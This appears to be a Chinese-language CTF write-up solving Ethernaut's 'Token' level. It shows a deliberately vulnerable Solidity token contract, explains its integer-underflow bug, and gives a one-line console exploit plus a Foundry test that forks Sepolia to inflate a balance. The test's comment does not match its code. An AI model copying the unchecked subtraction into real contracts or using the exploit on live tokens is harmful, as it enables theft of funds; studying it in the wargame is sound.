# Ethernaut CTF Level 5 - Token
[toc]
## 題目
這一關的目標是駭入下面這個簡單的代幣合約。
你一開始會被給 20 個代幣。如果你找到方法增加你手中代幣的數量,你就可以通過這一關,當然代幣數量越多越好。
可能會有用的資訊
- 什麽是 odometer?
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
```
<br>
## 分析
ODO meter是汽車的里程計數器,如果是5位數,里程最高可以記錄到99999
如果車子繼續開1公里,計數器會回到00000
這是個典型的 arithmetic overflow問題
套用到題目中也一樣,在0.8.0版本之前沒有針對數字overflow做檢查
<br>
攻擊思路重點擺在`transfer` function
- 題目提到起始代幣是20 token
如果嘗試提領**21 token**,在第2行`require`檢查中
- `balances[msg.sender] - _value` 會變成0xfff....fff的形式
- 判斷會成立
接下來的`balances[msg.sender] -= _value;`
會導致balance變成很大的數字
```solidity=
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
```
<br>
## 攻擊
在Ethernaut console下輸入以下即可通過
```solidity=
await contract.transfer(instance, 21)
```
可以看到balance改變了

<br>
## Foundry Test
```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/05-Token/Token.sol";
contract ContractTest is Test {
Token level5 = Token(payable(0x3d904B522B5658535f38566C354F1aa5B47fbAb7));
function setUp() public {
Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
vm.createSelectFork(vm.rpcUrl("sepolia"));
vm.label(address(this), "Attacker");
vm.label(
address(0x3d904B522B5658535f38566C354F1aa5B47fbAb7),
"Ethernaut05"
);
}
function testEthernaut05() public {
level5.balanceOf(address(this));
level5.transfer(address(0), 1); // initial balance[attacker] = 20, so minus 21 will underflow
assert(level5.balanceOf(address(this)) > 20);
}
receive() external payable {}
}
```